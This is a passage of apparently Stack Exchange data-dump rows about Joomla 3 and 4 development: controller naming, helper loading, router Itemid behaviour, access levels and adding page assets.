  <row Id="31612" PostTypeId="1" AcceptedAnswerId="31631" CreationDate="2021-10-22T15:34:14.887" Score="1" ViewCount="240" Body="&lt;p&gt;I started a component com_xxx_yyy in Joomla 4 from scratch to learn the new API the hard way.&lt;/p&gt;&#xA;&lt;p&gt;Parts of the structure&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;- Controller&#xA;--- DisplayController.php&#xA;--- YyyController.php&#xA;- View&#xA;--- Yyy&#xA;------ HtmlView.php&#xA;--- Yyys&#xA;------ HtmlView.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Yyys/HtmlView.php I add a toolbar button &lt;code&gt;$toolbar-&amp;gt;addNew('yyy.new')&lt;/code&gt;&#xA;then Joomla 4 uses the &lt;code&gt;YyyController.php&lt;/code&gt; but uses the component name &lt;code&gt;option=com_yyy&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I change the button to &lt;code&gt;$toolbar-&amp;gt;addNew('xxx_yyy.new')&lt;/code&gt; then it uses the right component name &lt;code&gt;option=com_xxx_yyy&lt;/code&gt; but wants the Controller be called &lt;code&gt;Xxx_YyyController.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The most examples I found where the trivial default way. I looked into Joomla! Docu and the boilerplate on github.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla! 3 you could to such naming mappings in the xxx_xxx.php or the controller.php, but both not existing in Joomla! 4.&lt;/p&gt;&#xA;&lt;p&gt;I looked into com_content and there it is exactly how I want.&#xA;view articles adds a button article.new and then it loads option=com_content;view=article&lt;/p&gt;&#xA;&lt;p&gt;But I don't see the missing point on my side.&lt;/p&gt;&#xA;" OwnerUserId="13188" LastActivityDate="2021-10-30T18:05:11.663" Title="Joomla 4 Controller naming convention and toolbar button tasks" Tags="|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31613" PostTypeId="1" CreationDate="2021-10-22T23:57:50.913" Score="2" ViewCount="407" Body="&lt;p&gt;I've created a custom component that (in addition to all the other component files) has a helper file located in:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt; /administrator/components/com_kr_books/helpers/kr_books.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It has an abstract class called Kr_booksHelper, within which I have a number of processing functions.&lt;/p&gt;&#xA;&lt;p&gt;I have created a 'stand alone' module that needs to access some functions from this helper file.&lt;/p&gt;&#xA;&lt;p&gt;When just running a call to one of the functions I get:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0 Call to undefined method Kr_booksHelper::thisFunction()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Which makes sense, if there is no connection between the 2 files.&lt;/p&gt;&#xA;&lt;p&gt;I've tried using the following to try to include the component helper file within the module's helper file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;JLoader::import('Kr_booksHelper','/administrator/components/com_kr_books/helpers/kr_books.php');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, I'm still getting the 'undefined method'. And I've also tried all sorts of different syntax for the path to the file, but get the same results).&lt;/p&gt;&#xA;&lt;p&gt;I've also tried:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;require_once '../administrator/components/com_kr_books/helpers/kr_books.php';&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, then the site just returns a blank white screen.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas how I should properly access the functions within the component's helper file from my stand-alone module?&lt;/p&gt;&#xA;" OwnerUserId="12624" LastActivityDate="2021-10-23T16:59:50.800" Title="How to include an external helper php file in module" Tags="|module|jloader|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31614" PostTypeId="1" AcceptedAnswerId="31620" CreationDate="2021-10-23T10:24:52.763" Score="0" ViewCount="61" Body="&lt;p&gt;For the security reasons, How we can change or edit the Joomla3.x Component name inside HTML source code by changing the Component URL.&lt;/p&gt;&#xA;&lt;p&gt;For example; When we display the HTML source code for any page that uses Joomla components, we will find the component name inside the component url as :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&amp;quot;/components/com_XXX/....&amp;quot; rel=&amp;quot;stylesheet&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15715" LastActivityDate="2021-10-25T08:09:09.137" Title="in joomla 3.X : How to change or edit Component Url in html page source code?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31615" PostTypeId="2" ParentId="31613" CreationDate="2021-10-23T11:19:37.600" Score="2" Body="&lt;p&gt;If you're getting undefined method error, it means your class is found but you're calling a non-existing method.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;JLoader::import()&lt;/code&gt; first argument accepts dot-separated path with last element used as class name and second argument as base path. This is not suitable in your case because class name doesn't match its filename. Instead you can use &lt;code&gt;JLoader::register()&lt;/code&gt; which accepts class name as first argument and its path file as second argument:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('Kr_booksHelper', JPATH_ADMINISTRATOR . '/components/com_kr_books/helpers/kr_books.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As a good practice you should use absolute paths to include files. In Joomla you can use &lt;code&gt;JPATH_*&lt;/code&gt; constants like in example above.&lt;/p&gt;&#xA;&lt;p&gt;When developing you should have error reporting enabled. Then you'd see this error in your &lt;code&gt;require_once&lt;/code&gt; use:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Fatal error: require_once(): Failed opening required '../administrator/components/com_kr_books/helpers/kr_books.php'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;When using relative scripts, PHP will look first in its configure include paths and then for paths relative to the script. So this would work but it's slow and not recommended:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;require_once 'administrator/components/com_kr_books/helpers/kr_books.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-10-23T11:19:37.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31616" PostTypeId="2" ParentId="31613" CreationDate="2021-10-23T16:59:50.800" Score="1" Body="&lt;p&gt;Thanks for pointing me in the write direction.&#xA;The problem was between my keyboard and my chair.&lt;/p&gt;&#xA;&lt;p&gt;After staring at the code and seeing the function definition clearly there in the admin helper, and then seeing that a call to a different function from this component was working it made me realize that the helper file/class was already there, but missing the specific function.&lt;/p&gt;&#xA;&lt;p&gt;Then I remembered that I have the same class in a helper file for the component on the front-end. So, even though I was directly loading the admin helper file, because the class was already loaded (because the component was active on the site) the class was already loaded, from the front-end helper file, which didn't have the function added to it yet (only added to the admin helper file).&lt;/p&gt;&#xA;&lt;p&gt;Once I updated the front-end helper file with the new function, all works well.&lt;/p&gt;&#xA;&lt;p&gt;So, the problem was caused by two errors:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Having a class with the same name for front-end and admin, but not keeping those class definitions up-to-date&lt;/li&gt;&#xA;&lt;li&gt;When the class is loaded in one area (component, module, etc), it's there and available for other areas.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Thanks again for the clear explanation and pointing in the right direction to find the solution.&lt;/p&gt;&#xA;" OwnerUserId="12624" LastActivityDate="2021-10-23T16:59:50.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31617" PostTypeId="1" CreationDate="2021-10-24T19:52:39.833" Score="0" ViewCount="244" Body="&lt;p&gt;When pulling up my website, southark.edu, I am presented with the following error message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error: Failed to start application: Failed to start the session&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I've not done anything to it since two days ago when it was working.&lt;/p&gt;&#xA;&lt;p&gt;I had been hacked a couple of times recently and have been working with a developer to identify and kill the vulnerabilities.&lt;/p&gt;&#xA;&lt;p&gt;Edit:  I tried to log into phpmyadmin and it would not let me, which leads me to think this could be a problem in the database.&lt;/p&gt;&#xA;" OwnerUserId="15823" LastEditorUserId="12352" LastEditDate="2021-10-25T22:47:59.770" LastActivityDate="2024-03-14T02:04:10.460" Title="I am receiving an error message: Error: Failed to start application: Failed to start the session" Tags="|fatal-error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31618" PostTypeId="1" CreationDate="2021-10-25T03:20:59.647" Score="3" ViewCount="1526" Body="&lt;p&gt;I am not seeing the &amp;amp;Itemid=, the active menu, being added to the URL in Joomla4 like it is with Joomla3. Is this normal behaviour now with Joomla4 and what is the alternative or is it an issue?&lt;/p&gt;&#xA;&lt;p&gt;My code does this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo Route::_('index.php?option=com_sales&amp;amp;task=order.editNC&amp;amp;id='.(int) $item-&amp;gt;id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and under Joomla 3 it gets updated to this via &lt;code&gt;/libraries/src/SiteRouter.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://buffalo.test/index.php?option=com_sales&amp;amp;task=order.editNC&amp;amp;id=3&amp;amp;Itemid=156&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and you can see the &lt;code&gt;&amp;amp;Itemid=156&lt;/code&gt; is added, with 156 being the id of my currently active menu.&#xA;Once I select the link, I am then in the record I wanted to edit and the URL has dropped the record id but the &amp;amp;Itemid is still there.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://buffalo.test/index.php?option=com_sales&amp;amp;view=order&amp;amp;layout=edit&amp;amp;Itemid=156&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and this allows the controller to use getActive() to find its way back to calling menu item.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menu = Factory::getApplication()-&amp;gt;getMenu();&#xA;$item = $menu-&amp;gt;getActive();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Under Joomla 4 the menu id, &lt;code&gt;&amp;amp;Itemid=156&lt;/code&gt;, is not added to the URL&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://buffalo4.test/index.php?option=com_sales&amp;amp;task=order.editNC&amp;amp;id=3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the value  stored in &lt;code&gt;Input-&amp;gt;Data-&amp;gt;Itemid&lt;/code&gt; now equals 101, which is the Home menu.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/libraries/src/SiteRouter.php&lt;/code&gt; appears to be the source of the problem, with lots of changes between J3 and J4 but from everything I have read I can find nothing that says that Itemid was going to be dropped. Maybe it is part of the Legacy vs Modern router change from 3.8.4, with a similar issue occurring back then.&lt;/p&gt;&#xA;&lt;p&gt;I think it could also be the related to this issue from a couple of months back, &lt;a href=&quot;https://joomla.stackexchange.com/questions/31422/retrieve-active-menu-link-in-controller-frontend-joomla4/31424&quot;&gt;Retrieve Active Menu link in Controller (frontend - Joomla4)&lt;/a&gt;, where the symptoms are the same.&lt;/p&gt;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2021-10-25T05:49:06.500" LastActivityDate="2022-05-22T08:39:47.073" Title="Joomla 4 no longer inserting the Itemid, the current or active menu , in the URL. Is this correct behavior?" Tags="|joomla-4|router|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31619" PostTypeId="1" CreationDate="2021-10-25T06:00:45.450" Score="1" ViewCount="62" Body="&lt;p&gt;In my old router.php file at &lt;code&gt;function COMPOENTParseRoute($segments)&lt;/code&gt;, I get &amp;quot;404 Page not found&amp;quot;. The error is caused by line 153 of &lt;code&gt;/libraries/src/Router/Router.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If I create the new Joomla4 folder structure like &lt;code&gt;components/com_banners/src/Service/Router.php&lt;/code&gt; and debug, that Router.php is not touched.&lt;/p&gt;&#xA;&lt;p&gt;In the documentation, I read something like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Pay special notice to the lines starting &lt;code&gt;$container-&amp;gt;registerServiceProvider&lt;/code&gt; as this is where your code gets registered in a container for use later.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Do I need to do something special?&lt;/p&gt;&#xA;" OwnerUserId="15814" LastEditorUserId="12352" LastEditDate="2021-10-25T06:54:05.230" LastActivityDate="2021-10-25T06:54:05.230" Title="Migrating from Joomla 3 to Joomla 4 router alias problem" Tags="|joomla-3.x|joomla-4.x|router|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31620" PostTypeId="2" ParentId="31614" CreationDate="2021-10-25T08:09:09.137" Score="0" Body="&lt;p&gt;Because the components name is part of a link used by the browser to load resources then I don't believe you can change the name without breaking the connection with the resource.&lt;/p&gt;&#xA;&lt;p&gt;You could use a plugin that compresses or consolidates your scripts and CSS into single files for performance reason as they will or may remove the names, using their own random filename. Something like JCH Optimise comes to mind here.&lt;/p&gt;&#xA;&lt;p&gt;You mention for security reasons so if you are trying to implement 'security by obscurity' then you might find using a reputable site level firewall product type of extension to help protect your resources is a better approach than trying to hide which components you have installed. Akeeba and RS have suitable firewall products and I am sure a search on JED will find you more.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-10-25T08:09:09.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31621" PostTypeId="2" ParentId="31617" CreationDate="2021-10-25T21:44:30.740" Score="0" Body="&lt;p&gt;SOLVED:  The disk was full which stopped the site from coming up.&#xA;We emptied the trash bin of 200GB of data and the site came back up.&lt;/p&gt;&#xA;" OwnerUserId="15823" LastActivityDate="2021-10-25T21:44:30.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31622" PostTypeId="1" CreationDate="2021-10-26T15:44:01.317" Score="1" ViewCount="114" Body="&lt;p&gt;I am trying to figure out how to implement this.&lt;/p&gt;&#xA;&lt;p&gt;Table1 with subscriptions AS sub&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;id, status, user_id, plan_id, parent_plan, parent_subscription&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Table5 users (Joomla) AS u&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;id&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Table6 fields AS ue&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;sub_region, country, state, city&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;(SELECT( SELECT GROUP_CONCAT(sub.`plan_id`)&#xA;FROM `subscriptions` AS sub),&#xA;(SELECT  u.`id`&#xA;FROM `users` AS u),&#xA;(SELECT *&#xA; FROM `fields` AS ue)),&#xA;WHERE sub.`user_id` = u.`id`&#xA;AND sub.`status` = 'A'),&#xA;ORDER BY FIELD(sub.`plan_id`,14,35,34,33,32,31,17,16,15,11,29,28,27,13,26,25,12,9,10,8,24,23,7,5,18,30,21,20,3,1,19,2))DESC, ue.`sub_region` ASC, ue.`country` ASC, ue.`state` ASC, ue.`city` ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Desired result is &lt;code&gt;parent_plan&lt;/code&gt; in order 14, 11, 10, 18, 1 as below and each of the &lt;code&gt;parent_plan&lt;/code&gt; group to show &lt;code&gt;plan_id&lt;/code&gt; in order as follows:&lt;/p&gt;&#xA;&lt;p&gt;For &lt;code&gt;parent_plan&lt;/code&gt;=14 : 35,34,33,32,31,17,16,15&lt;/p&gt;&#xA;&lt;p&gt;For &lt;code&gt;parent_plan&lt;/code&gt;=11 : 29,28,27,13,26,25,12,9&lt;/p&gt;&#xA;&lt;p&gt;For &lt;code&gt;parent_plan&lt;/code&gt;=10 : 8,24,23,7,5&lt;/p&gt;&#xA;&lt;p&gt;For &lt;code&gt;parent_plan&lt;/code&gt;=18 : 30,21,20,3&lt;/p&gt;&#xA;&lt;p&gt;For &lt;code&gt;parent_plan&lt;/code&gt;=1 : 19,2&lt;/p&gt;&#xA;&lt;p&gt;Then for each &lt;code&gt;parent_plan&lt;/code&gt; group above, order &lt;code&gt;plan_id&lt;/code&gt; as for instance if &lt;code&gt;parent_plan&lt;/code&gt;=14 has 3 plans records with same &lt;code&gt;plan_id&lt;/code&gt;=35 they will be ordered as ORDER BY &lt;code&gt;sub_region&lt;/code&gt;, &lt;code&gt;country&lt;/code&gt;, &lt;code&gt;state&lt;/code&gt;, &lt;code&gt;city&lt;/code&gt; ASC.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/gi6vnWVYQddvXZt1vpxw2L/4&quot; rel=&quot;nofollow noreferrer&quot;&gt;fiddle&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14225" LastEditorUserId="14225" LastEditDate="2021-10-31T09:11:34.397" LastActivityDate="2024-03-28T12:06:05.700" Title="GROUP BY and ORDER BY from different tables of CB extension as outcome to a list" Tags="|joomla-3.x|mysql|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31623" PostTypeId="1" AcceptedAnswerId="31624" CreationDate="2021-10-26T17:19:37.360" Score="2" ViewCount="36" Body="&lt;p&gt;I set up three users. To make things easier, let's take the following names: &lt;code&gt;X&lt;/code&gt;, &lt;code&gt;Y&lt;/code&gt;, &lt;code&gt;Z&lt;/code&gt;. Additionally, there are subgroups in the Registered group, let's call them &lt;code&gt;X_group&lt;/code&gt;, &lt;code&gt;Y_group&lt;/code&gt; and &lt;code&gt;Z_group&lt;/code&gt;. User &lt;code&gt;X&lt;/code&gt; has the rights of the Registered group and &lt;code&gt;X_group&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I would like to grant permissions for an article, for example: number 1 for user &lt;code&gt;X&lt;/code&gt; and auto exclude for &lt;code&gt;Y&lt;/code&gt; and &lt;code&gt;Z&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also, in the next article, I would like to make an article possible for two groups to access. I searched on the internet but couldn't find an answer to my question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2cCn0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2cCn0.png&quot; alt=&quot;Access in Article&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15830" LastEditorUserId="12352" LastEditDate="2021-10-26T20:43:01.237" LastActivityDate="2021-10-27T04:15:40.280" Title="Joomla don't see subgroups in the Articles tab (Joomla 4)" Tags="|cms|joomla-4.x|user-groups|joomla-4|access|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31624" PostTypeId="2" ParentId="31623" CreationDate="2021-10-27T04:15:40.280" Score="2" Body="&lt;p&gt;Please note the difference between &amp;quot;user groups&amp;quot; and &amp;quot;access levels&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Access Levels determine which users have access to certain views and features.&#xA;Said levels are assigned to usergroups.&#xA;Creating a child user group will inherit the access levels of the parent.&lt;/p&gt;&#xA;&lt;p&gt;The dropdown you see on the Articles page is a list of access levels, not usergroups, so this is what you'll need to create.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yeCKm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yeCKm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-10-27T04:15:40.280" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31625" PostTypeId="2" ParentId="31618" CreationDate="2021-10-28T08:04:10.530" Score="3" Body="&lt;p&gt;In Joomla 4 the &lt;code&gt;/library/src/Router/SiteRouter.php&lt;/code&gt; has a new method, &lt;code&gt;buildInit&lt;/code&gt;, that replaces the &lt;code&gt;createInit&lt;/code&gt; method of Joomla 3. In appearance they do the same thing, suffix the URL with the Itemid=(the value of the current/active menu item) to links on the page, however the logic has changed and it no longer handles a missing ItemId= correctly or at least in the same way as Joomla 3.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function buildInit(&amp;amp;$router, &amp;amp;$uri)&#xA;{&#xA;    $itemid = $uri-&amp;gt;getVar('Itemid');&#xA;&#xA;    // If no Itemid and option given, merge in the current requests data&#xA;    if (!$itemid &amp;amp;&amp;amp; !$uri-&amp;gt;getVar('option'))&#xA;    {&#xA;        $uri-&amp;gt;setQuery(array_merge($this-&amp;gt;getVars(), $uri-&amp;gt;getQuery(true)));&#xA;    }&#xA;&#xA;    // If Itemid is given, but no option, set the option from the menu item&#xA;    if ($itemid &amp;amp;&amp;amp; !$uri-&amp;gt;getVar('option'))&#xA;    {&#xA;        if ($item = $this-&amp;gt;menu-&amp;gt;getItem($itemid))&#xA;        {&#xA;            $uri-&amp;gt;setVar('option', $item-&amp;gt;component);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the above code if $itemid is Null or not set AND the $uri contains an valid Option param then it will never meet either of the first level IF statements and the method will complete without ever getting the $itemid.&lt;/p&gt;&#xA;&lt;p&gt;Compared to the Joomla 3 version posted below there seems to be a block of code missing that would at least get to this statement to get the active menu id&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$item = $this-&amp;gt;menu-&amp;gt;getItem($this-&amp;gt;getVar('Itemid')); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and set the $itemid&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$uri-&amp;gt;setVar('Itemid', $item-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In &lt;code&gt;/libraries/src/Router/SiteRouter.php&lt;/code&gt; for Joomla 3 the &lt;code&gt;createInit&lt;/code&gt; method where I have highlighted, &amp;lt;===, the lines that are missing in Joomla 4.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function createUri($url)&#xA;{&#xA;    // Create the URI&#xA;    $uri = parent::createUri($url);&#xA;&#xA;    // Get the itemid form the URI&#xA;    $itemid = $uri-&amp;gt;getVar('Itemid');&#xA;&#xA;    if ($itemid === null)                                           &amp;lt;==&#xA;    {&#xA;        if ($option = $uri-&amp;gt;getVar('option'))&#xA;        {&#xA;            $item = $this-&amp;gt;menu-&amp;gt;getItem($this-&amp;gt;getVar('Itemid'));  &amp;lt;==&#xA;&#xA;            if ($item !== null &amp;amp;&amp;amp; $item-&amp;gt;component === $option)     &amp;lt;==&#xA;            {&#xA;                $uri-&amp;gt;setVar('Itemid', $item-&amp;gt;id);                  &amp;lt;==&#xA;            }&#xA;        }&#xA;        else&#xA;        {&#xA;            if ($option = $this-&amp;gt;getVar('option'))&#xA;            {&#xA;                $uri-&amp;gt;setVar('option', $option);&#xA;            }&#xA;&#xA;            if ($itemid = $this-&amp;gt;getVar('Itemid'))&#xA;            {&#xA;                $uri-&amp;gt;setVar('Itemid', $itemid);&#xA;            }&#xA;        }&#xA;    }&#xA;    else&#xA;    {&#xA;        if (!$uri-&amp;gt;getVar('option'))&#xA;        {&#xA;            if ($item = $this-&amp;gt;menu-&amp;gt;getItem($itemid))&#xA;            {&#xA;                $uri-&amp;gt;setVar('option', $item-&amp;gt;component);&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    return $uri;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I need to report it as an issue with Joomla and find out if it is a problem or a feature of Joomla4&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-10-28T08:04:10.530" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31626" PostTypeId="1" CreationDate="2021-10-28T18:22:57.237" Score="1" ViewCount="212" Body="&lt;p&gt;I have added the html code using sp page builder extension also need to add css and js to this particular page in joomla 3. i am using t3 blank template is there any procedure to add this or any shortcut&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;  &amp;lt;title&amp;gt;Web Interactive&amp;lt;/title&amp;gt;&#xA;  &amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;&#xA;  &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0&amp;quot;&amp;gt;&#xA;&#xA;  &amp;lt;meta name=&amp;quot;generator&amp;quot; content=&amp;quot;xxxx 3.8.1&amp;quot;&amp;gt;&#xA;&#xA;  &amp;lt;!-- favicons --&amp;gt;&#xA;  &amp;lt;link rel=&amp;quot;apple-touch-icon&amp;quot; sizes=&amp;quot;180x180&amp;quot; href=&amp;quot;media/apple-touch-icon.png&amp;quot;&amp;gt;&#xA;  &amp;lt;link rel=&amp;quot;icon&amp;quot; type=&amp;quot;image/png&amp;quot; sizes=&amp;quot;32x32&amp;quot; href=&amp;quot;media/favicon-32x32.png&amp;quot;&amp;gt;&#xA;  &amp;lt;link rel=&amp;quot;icon&amp;quot; type=&amp;quot;image/png&amp;quot; sizes=&amp;quot;16x16&amp;quot; href=&amp;quot;media/favicon-16x16.png&amp;quot;&amp;gt;&#xA;  &amp;lt;link rel=&amp;quot;manifest&amp;quot; href=&amp;quot;media/manifest.json&amp;quot;&amp;gt;&#xA;  &amp;lt;link rel=&amp;quot;mask-icon&amp;quot; href=&amp;quot;media/safari-pinned-tab.svg&amp;quot; color=&amp;quot;#5bbad5&amp;quot;&amp;gt;&#xA;  &amp;lt;meta name=&amp;quot;theme-color&amp;quot; content=&amp;quot;#ffffff&amp;quot;&amp;gt;&#xA;&#xA;&#xA;  &#xA;  &amp;lt;script src=&amp;quot;xx.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;script src=&amp;quot;xxxx.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;  &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;Interactive.css&amp;quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15837" LastActivityDate="2022-03-29T22:05:20.480" Title="How to add specific js and css to a particular page in joomla?" Tags="|joomla-3.x|php|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31627" PostTypeId="2" ParentId="31618" CreationDate="2021-10-29T01:56:48.017" Score="1" Body="&lt;p&gt;This is really only a temporary solution if you have control over the site where your extension(s) operate as it is a hack to the core code and not suitable if your extension is used by others.&lt;/p&gt;&#xA;&lt;p&gt;If you put this piece of code into &lt;code&gt;/libraries/src/Router/SiteRouter.php&lt;/code&gt; at line 414 of the method &lt;code&gt;buildInit&lt;/code&gt; you can get your working extension working again under Joomla 4.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!$itemid)&#xA;{&#xA;    $item   = $this-&amp;gt;menu-&amp;gt;getItem($this-&amp;gt;getVar('Itemid'));&#xA;&#xA;    if ($item !== null &amp;amp;&amp;amp; $item-&amp;gt;component === $uri-&amp;gt;getVar('option'))&#xA;    {&#xA;        $uri-&amp;gt;setVar('Itemid', $item-&amp;gt;id);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Understand that you are updating core code and that updates to Joomla may replace this code at some stage in the future and you may have to 'refit' the extra lines.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-05-22T08:39:47.073" LastActivityDate="2022-05-22T08:39:47.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31628" PostTypeId="2" ParentId="31626" CreationDate="2021-10-29T08:33:31.553" Score="2" Body="&lt;p&gt;Joomla's Documentation about adding CSS or JS to the document head: &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$document = Factory::getDocument();&#xA;&#xA;$document-&amp;gt;addStyleSheet(&amp;quot;...demo.css&amp;quot;, array('version'=&amp;gt;'auto'));&#xA;$document-&amp;gt;addScript(&amp;quot;...demo.js&amp;quot;, array('conditional'=&amp;gt;'lt IE 9'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That method still works.&lt;/p&gt;&#xA;&lt;p&gt;You could also use the HTMLHelper to add CSS/JS to the document header&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;HTMLHelper::_(&#xA;    'stylesheet',&#xA;    'com_foo/foo.css', &#xA;    ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; 